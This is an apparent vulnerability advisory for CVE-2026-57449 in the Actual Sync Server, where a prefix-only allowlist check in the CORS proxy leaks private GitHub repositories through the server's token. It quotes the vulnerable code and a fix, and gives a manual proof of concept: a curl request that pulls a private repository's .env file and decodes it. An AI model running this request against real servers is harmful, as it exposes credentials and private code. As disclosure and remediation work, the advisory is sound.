@actual-app/sync-server
Affected
- introduced
0, fixed26.7.0(semver)
Fixed versions
26.7.0
Fix
- Fixed version
26.7.0npm install @actual-app/[email protected]
Advisory
Also known as: CVE-2026-57449
Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token
Summary
Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When ACTUAL_GITHUB_TOKEN is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.
The GitHub API allowlist check uses a raw startsWith() prefix test for /repos/{owner}/{repo} without requiring a path boundary after the repository name. If an allowlisted public plugin repository is https://github.com/acme/plugin, the proxy also accepts GitHub API URLs such as:
https://api.github.com/repos/acme/plugin-private/contents/.env
https://api.github.com/repos/acme/plugin-secrets/actions/secrets
https://api.github.com/repos/acme/plugin-internal/releases
Those URLs are outside the allowlisted repository but still pass because their API path starts with /repos/acme/plugin. The proxy then forwards the request with the server's ACTUAL_GITHUB_TOKEN, allowing any authenticated Actual user to read private GitHub resources reachable by that token.
Affected Endpoint
GET /cors-proxy?url=...This endpoint is mounted only when:
if (config.get('corsProxy.enabled')) {
app.use('/cors-proxy', corsApp.handlers);
}
Source: packages/sync-server/src/app.ts:68-70
Details
The CORS proxy is disabled by default but can be enabled through ACTUAL_CORS_PROXY_ENABLED. The GitHub token is configured through ACTUAL_GITHUB_TOKEN:
github: {
token: {
doc: 'GitHub Personal Access Token for API authentication.',
format: String,
default: '',
env: 'ACTUAL_GITHUB_TOKEN',
},
},
corsProxy: {
enabled: {
doc: 'Enable the CORS proxy endpoint.',
format: Boolean,
default: false,
env: 'ACTUAL_CORS_PROXY_ENABLED',
},
},
Source: packages/sync-server/src/load-config.js:280-296
The proxy fetches the plugin allowlist and stores repository URLs:
const response = await fetch(
'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json',
);
...
const plugins = await response.json();
allowlistedRepos = plugins.map(plugin => plugin.url);
Source: packages/sync-server/src/app-cors-proxy.js:43-50
The GitHub API check accepts any path that starts with /repos/${repoOwner}/${repoName}:
for (const repoUrl of allowlistedRepos) {
const { pathname } = new URL(repoUrl);
const [, repoOwner, repoName] = pathname.split('/');
if (
targetUrl === repoUrl ||
targetUrl.startsWith(repoUrl + '/') ||
(hostname === 'api.github.com' &&
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||
...
) {
return true;
}
}
Source: packages/sync-server/src/app-cors-proxy.js:84-99
For api.github.com, there is no delimiter after repoName. This means an allowlisted repo named plugin authorizes API requests for plugin-private, plugin-secrets, plugin-internal, and any other repository under the same owner whose name starts with plugin.
After this incorrect allowlist decision, the proxy attaches the server's GitHub token:
const githubToken = config.get('github.token');
if (
githubToken &&
(url.hostname === 'api.github.com' ||
url.hostname === 'raw.githubusercontent.com' ||
(url.hostname === 'github.com' && url.pathname.includes('/releases/')))
) {
requestHeaders['Authorization'] = `Bearer ${githubToken}`;
requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System';
}
Source: packages/sync-server/src/app-cors-proxy.js:192-201
Therefore the vulnerable flow is:
https://github.com/acme/plugin.acme/plugin-private.ACTUAL_CORS_PROXY_ENABLED=true.ACTUAL_GITHUB_TOKEN with access to acme/plugin-private./cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env
isUrlAllowed() returns true because /repos/acme/plugin-private/... starts with /repos/acme/plugin.PoC
Preconditions
ACTUAL_CORS_PROXY_ENABLED=true.ACTUAL_GITHUB_TOKEN is configured and can read a private repo.Example:
https://github.com/acme/pluginhttps://github.com/acme/plugin-private.envManual Reproduction
Step 1: Request a private repo file through the Actual CORS proxy:
curl -s "http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \
-H "X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION"
Vulnerable result:
{
"name": ".env",
"path": ".env",
"encoding": "base64",
"content": "UFJPRF9EQl9QQVNTV09SRD0uLi4="
}
Step 2: Decode the returned content field:
echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d
Example decoded output:
PROD_DB_PASSWORD=...
Python PoC
Attached separately as poc_actual_cors_proxy_github_prefix_bypass.py.
The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.
Impact
Recommended Remediation
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)
with an exact boundary-aware check:
url.pathname === `/repos/${repoOwner}/${repoName}` ||
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)
owner/plugin does not authorize owner/plugin-private.ACTUAL_GITHUB_TOKEN for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.High Basis: The source's own band: HIGH
0, fixed 26.7.0 (semver)26.7.0
26.7.0npm install @actual-app/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0